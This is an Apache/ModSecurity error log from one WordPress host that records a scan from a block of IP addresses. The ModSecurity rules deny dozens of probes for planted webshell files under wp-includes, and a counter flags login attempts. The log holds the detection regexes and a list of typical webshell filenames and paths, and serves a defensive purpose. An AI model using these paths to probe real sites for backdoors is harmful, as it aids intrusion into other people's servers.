[Sat Nov 22 05:05:14.392263 2025] [:error] [pid 53566:tid 53586] [client 194.5.82.150:64835] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSDUCsbSHDBkRbwMbd4cjAAAANI"]
[Sat Nov 22 05:05:19.621008 2025] [:error] [pid 53478:tid 53517] [client 194.5.82.119:57363] [client 194.5.82.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSDUDwhUYdXBbQswAdT4rwAAAEg"]
[Sat Nov 22 05:05:23.682779 2025] [:error] [pid 53478:tid 53515] [client 194.5.82.119:57363] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSDUEwhUYdXBbQswAdT4vgAAAEY"]
[Sat Nov 22 05:05:39.725916 2025] [:error] [pid 53566:tid 53578] [client 194.5.82.130:50057] [client 194.5.82.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSDUI8bSHDBkRbwMbd4dGgAAAMo"]
[Sat Nov 22 05:05:51.748706 2025] [:error] [pid 53477:tid 53502] [client 194.5.82.169:42989] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSDUL37Lu30Ku9O40aLF9QAAABU"]
[Sat Nov 22 05:05:55.586940 2025] [:error] [pid 53479:tid 53549] [client 194.5.82.130:30525] [client 194.5.82.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSDUM26cicFF3Aas-oReqQAAAI0"]
[Sat Nov 22 05:05:59.853818 2025] [:error] [pid 53479:tid 53537] [client 194.5.82.152:28027] [client 194.5.82.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSDUN26cicFF3Aas-oRevAAAAIE"]
[Sat Nov 22 05:06:01.711478 2025] [:error] [pid 53479:tid 53557] [client 194.5.82.152:28027] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSDUOW6cicFF3Aas-oRewgAAAJU"]
[Sat Nov 22 05:06:29.443363 2025] [:error] [pid 25856:tid 25860] [client 194.5.82.139:49043] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSDUVRsTP0wy94zKUvGPuwAAAQI"]
[Sat Nov 22 05:06:34.854211 2025] [:error] [pid 53478:tid 53519] [client 194.5.82.155:64365] [client 194.5.82.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSDUWghUYdXBbQswAdT6UgAAAEo"]
[Sat Nov 22 05:06:42.960022 2025] [:error] [pid 53478:tid 53514] [client 194.5.82.155:64365] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSDUYghUYdXBbQswAdT6gwAAAEU"]
[Sat Nov 22 05:06:45.427881 2025] [:error] [pid 25856:tid 25876] [client 194.5.82.108:51995] [client 194.5.82.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSDUZRsTP0wy94zKUvGPzgAAARI"]
[Sat Nov 22 05:06:49.455897 2025] [:error] [pid 53566:tid 53576] [client 194.5.82.142:54879] [client 194.5.82.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSDUacbSHDBkRbwMbd4dxwAAAMg"]
[Sat Nov 22 05:06:55.858742 2025] [:error] [pid 53477:tid 53491] [client 194.5.82.124:23611] [client 194.5.82.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSDUb37Lu30Ku9O40aLGyAAAAAo"]
[Sat Nov 22 05:06:56.040356 2025] [:error] [pid 53479:tid 53559] [client 194.5.82.122:45369] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSDUcG6cicFF3Aas-oRfGwAAAJc"]
[Sat Nov 22 05:07:04.530416 2025] [:error] [pid 25856:tid 25859] [client 194.5.82.105:44745] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSDUeBsTP0wy94zKUvGQEAAAAQE"]
[Sat Nov 22 05:07:04.910041 2025] [:error] [pid 53477:tid 53490] [client 194.5.82.106:31171] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSDUeH7Lu30Ku9O40aLG4AAAAAk"]
[Sat Nov 22 05:07:13.568096 2025] [:error] [pid 53479:tid 53555] [client 194.5.82.131:64765] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSDUgW6cicFF3Aas-oRfPQAAAJM"]
[Sat Nov 22 05:07:21.185631 2025] [:error] [pid 53566:tid 53580] [client 194.5.82.108:29877] [client 194.5.82.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSDUicbSHDBkRbwMbd4eIQAAAMw"]
[Sat Nov 22 05:07:25.268043 2025] [:error] [pid 53478:tid 53528] [client 194.5.82.135:43093] [client 194.5.82.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSDUjQhUYdXBbQswAdT7RQAAAFM"]
[Sat Nov 22 05:07:31.725850 2025] [:error] [pid 25856:tid 25862] [client 194.5.82.117:21757] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSDUkxsTP0wy94zKUvGQSQAAAQQ"]
[Sat Nov 22 05:07:45.096071 2025] [:error] [pid 53479:tid 53549] [client 194.5.82.145:28663] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSDUoW6cicFF3Aas-oRfiQAAAI0"]
[Sat Nov 22 05:07:45.325185 2025] [:error] [pid 53566:tid 53569] [client 194.5.82.140:41261] [client 194.5.82.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSDUocbSHDBkRbwMbd4ecQAAAME"]
[Sat Nov 22 05:07:45.597928 2025] [:error] [pid 53477:tid 53503] [client 194.5.82.170:58049] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSDUoX7Lu30Ku9O40aLHRAAAABY"]
[Sat Nov 22 05:07:45.827635 2025] [:error] [pid 53477:tid 53487] [client 194.5.82.160:50917] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSDUoX7Lu30Ku9O40aLHRQAAAAY"]
[Sat Nov 22 05:07:48.072759 2025] [:error] [pid 53566:tid 53586] [client 194.5.82.169:46347] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSDUpMbSHDBkRbwMbd4eewAAANI"]
[Sat Nov 22 05:07:48.254918 2025] [:error] [pid 53566:tid 53571] [client 194.5.82.163:56407] [client 194.5.82.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSDUpMbSHDBkRbwMbd4efAAAAMM"]
[Sat Nov 22 05:07:53.698765 2025] [:error] [pid 53478:tid 53524] [client 194.5.82.118:23683] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSDUqQhUYdXBbQswAdT7ogAAAE8"]
[Sat Nov 22 05:07:54.024394 2025] [:error] [pid 53566:tid 53589] [client 194.5.82.123:29627] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSDUqsbSHDBkRbwMbd4epAAAANU"]
[Sat Nov 22 05:07:54.245716 2025] [:error] [pid 53479:tid 53551] [client 194.5.82.111:35257] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSDUqm6cicFF3Aas-oRfoAAAAI8"]
[Sat Nov 22 05:07:54.514205 2025] [:error] [pid 25856:tid 25870] [client 194.5.82.134:62483] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSDUqhsTP0wy94zKUvGQqQAAAQw"]
[Sat Nov 22 05:07:54.920210 2025] [:error] [pid 53477:tid 53489] [client 194.5.82.170:65531] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSDUqn7Lu30Ku9O40aLHVAAAAAg"]
[Sat Nov 22 05:07:55.350187 2025] [:error] [pid 53478:tid 53527] [client 194.5.82.162:31997] [client 194.5.82.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSDUqwhUYdXBbQswAdT7swAAAFI"]
[Sat Nov 22 05:08:03.767322 2025] [:error] [pid 53479:tid 53559] [client 194.5.82.155:40753] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSDUs26cicFF3Aas-oRfxQAAAJc"]
[Sat Nov 22 05:08:17.843845 2025] [:error] [pid 25856:tid 25880] [client 194.5.82.125:62161] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSDUwRsTP0wy94zKUvGQ-QAAARY"]
[Sat Nov 22 05:08:20.154929 2025] [:error] [pid 53478:tid 53528] [client 194.5.82.125:37345] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aSDUxAhUYdXBbQswAdT7_wAAAFM"]
[Sat Nov 22 05:08:20.340550 2025] [:error] [pid 53478:tid 53518] [client 194.5.82.107:39013] [client 194.5.82.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSDUxAhUYdXBbQswAdT8AQAAAEk"]
[Sat Nov 22 05:08:27.891040 2025] [:error] [pid 25856:tid 25876] [client 194.5.82.134:46147] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSDUyxsTP0wy94zKUvGRHwAAARI"]
[Sat Nov 22 05:08:32.185255 2025] [proxy_fcgi:error] [pid 53566:tid 53586] [client 194.5.82.121:33821] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:08:32.285598 2025] [proxy_fcgi:error] [pid 53566:tid 53570] [client 194.5.82.121:33821] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:08:32.415603 2025] [proxy_fcgi:error] [pid 53566:tid 53584] [client 194.5.82.121:33821] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:08:33.044853 2025] [:error] [pid 53566:tid 53577] [client 194.5.82.121:33821] [client 194.5.82.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSDU0cbSHDBkRbwMbd4fWgAAAMk"]
[Sat Nov 22 05:08:33.242911 2025] [:error] [pid 53478:tid 53510] [client 194.5.82.106:27303] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aSDU0QhUYdXBbQswAdT8IAAAAEE"]
[Sat Nov 22 05:08:33.610480 2025] [:error] [pid 53566:tid 53587] [client 194.5.82.140:40409] [client 194.5.82.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aSDU0cbSHDBkRbwMbd4fXAAAANM"]
[Sat Nov 22 05:08:33.890703 2025] [:error] [pid 53477:tid 53505] [client 194.5.82.109:48301] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aSDU0X7Lu30Ku9O40aLHvQAAABg"]
[Sat Nov 22 05:08:34.100477 2025] [:error] [pid 53477:tid 53502] [client 194.5.82.113:55863] [client 194.5.82.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aSDU0n7Lu30Ku9O40aLHvgAAABU"]
[Sat Nov 22 05:08:34.413095 2025] [:error] [pid 53479:tid 53548] [client 194.5.82.150:20389] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSDU0m6cicFF3Aas-oRgOgAAAIw"]
[Sat Nov 22 05:08:36.590744 2025] [:error] [pid 53478:tid 53510] [client 194.5.82.155:52819] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSDU1AhUYdXBbQswAdT8MQAAAEE"]
[Sat Nov 22 05:08:36.791828 2025] [:error] [pid 53477:tid 53485] [client 194.5.82.105:62645] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aSDU1H7Lu30Ku9O40aLHwQAAAAQ"]
[Sat Nov 22 05:08:36.979372 2025] [:error] [pid 53479:tid 53551] [client 194.5.82.142:52661] [client 194.5.82.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSDU1G6cicFF3Aas-oRgPwAAAI8"]
[Sat Nov 22 05:08:37.245511 2025] [:error] [pid 53566:tid 53580] [client 194.5.82.105:37027] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aSDU1cbSHDBkRbwMbd4fbAAAAMw"]
[Sat Nov 22 05:08:39.394476 2025] [:error] [pid 53566:tid 53569] [client 194.5.82.134:64213] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aSDU18bSHDBkRbwMbd4fdAAAAME"]
[Sat Nov 22 05:08:39.768629 2025] [:error] [pid 53479:tid 53560] [client 194.5.82.147:49417] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSDU126cicFF3Aas-oRgRQAAAJg"]
[Sat Nov 22 05:08:43.977333 2025] [:error] [pid 53477:tid 53483] [client 194.5.82.157:38297] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSDU237Lu30Ku9O40aLH1QAAAAI"]
